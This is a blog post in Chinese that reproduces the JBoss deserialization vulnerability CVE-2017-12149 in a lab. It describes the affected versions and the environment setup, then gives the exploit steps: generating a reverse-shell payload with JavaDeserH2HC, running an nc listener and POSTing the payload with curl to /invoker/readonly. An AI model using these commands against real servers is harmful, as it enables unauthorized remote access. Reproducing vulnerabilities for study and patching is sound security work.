Jboss反序列化漏洞复现(CVE-2017-12149)

一、漏洞描述

该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

二、漏洞影响版本

Jboss 5.x
Jboss 6.x

三、漏洞环境搭建

配置jdk

Windows服务器,首先搭建JDK环境

下载对应jdk文件,双击安装。

配置环境变量

  • JAVA_HOME
  • CLASSPATH
    • .;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;
  • path中添加
    • %JAVA_HOME%/bin
    • %JAVA_HOME%/jre/bin

配置JBOSS

下载JBoSS,https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip

解压,修改C:\web\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml中的address,将其修改为0.0.0.0,以便其他机器可以访问

<Connector protocol="HTTP/1.1" port="${jboss.web.http.port}" address="0.0.0.0" 
         redirectPort="${jboss.web.https.port}" />

启动

在C:\web\jboss-6.1.0.Final\bin路径下,双击执行run.bat,稍等初始化几秒钟即可,成功后看到如下信息

 INFO  [org.jboss.bootstrap.impl.base.server.AbstractServer] JBossAS [6.1.0.Final "Neo"] Started in 17s:391ms

可以通过访问本地http://127.0.0.1:8080进行测试。

四、漏洞复现

攻击机访问http://ip:8080/invoker/readonly,若显示HTTP Status 500,则说明存在漏洞。

复现方式一

通过别人写好的jar包利用工具进行漏洞测试https://github.com/yunxu1/jboss-_CVE-2017-12149

image-20210512162728383

复现方式二

下载Java反序列化poc工具https://github.com/joaomatosf/JavaDeserH2HC.git

生成此漏洞的poc

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机ip:port

执行完成后会生成ser文件ReverseShellCommonsCollectionsHashMap.ser

我们先在攻击机上监听刚刚设置的端口,比如4444

nc -lvvp 4444

执行以下命令

curl http://ip:8080//invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

之后我们在攻击机上监听的nc应该就会出现shell了

image-20210512164658214

posted on 2021-05-18 10:29  tech_lee  阅读(626)  评论(0编辑  收藏  举报

导航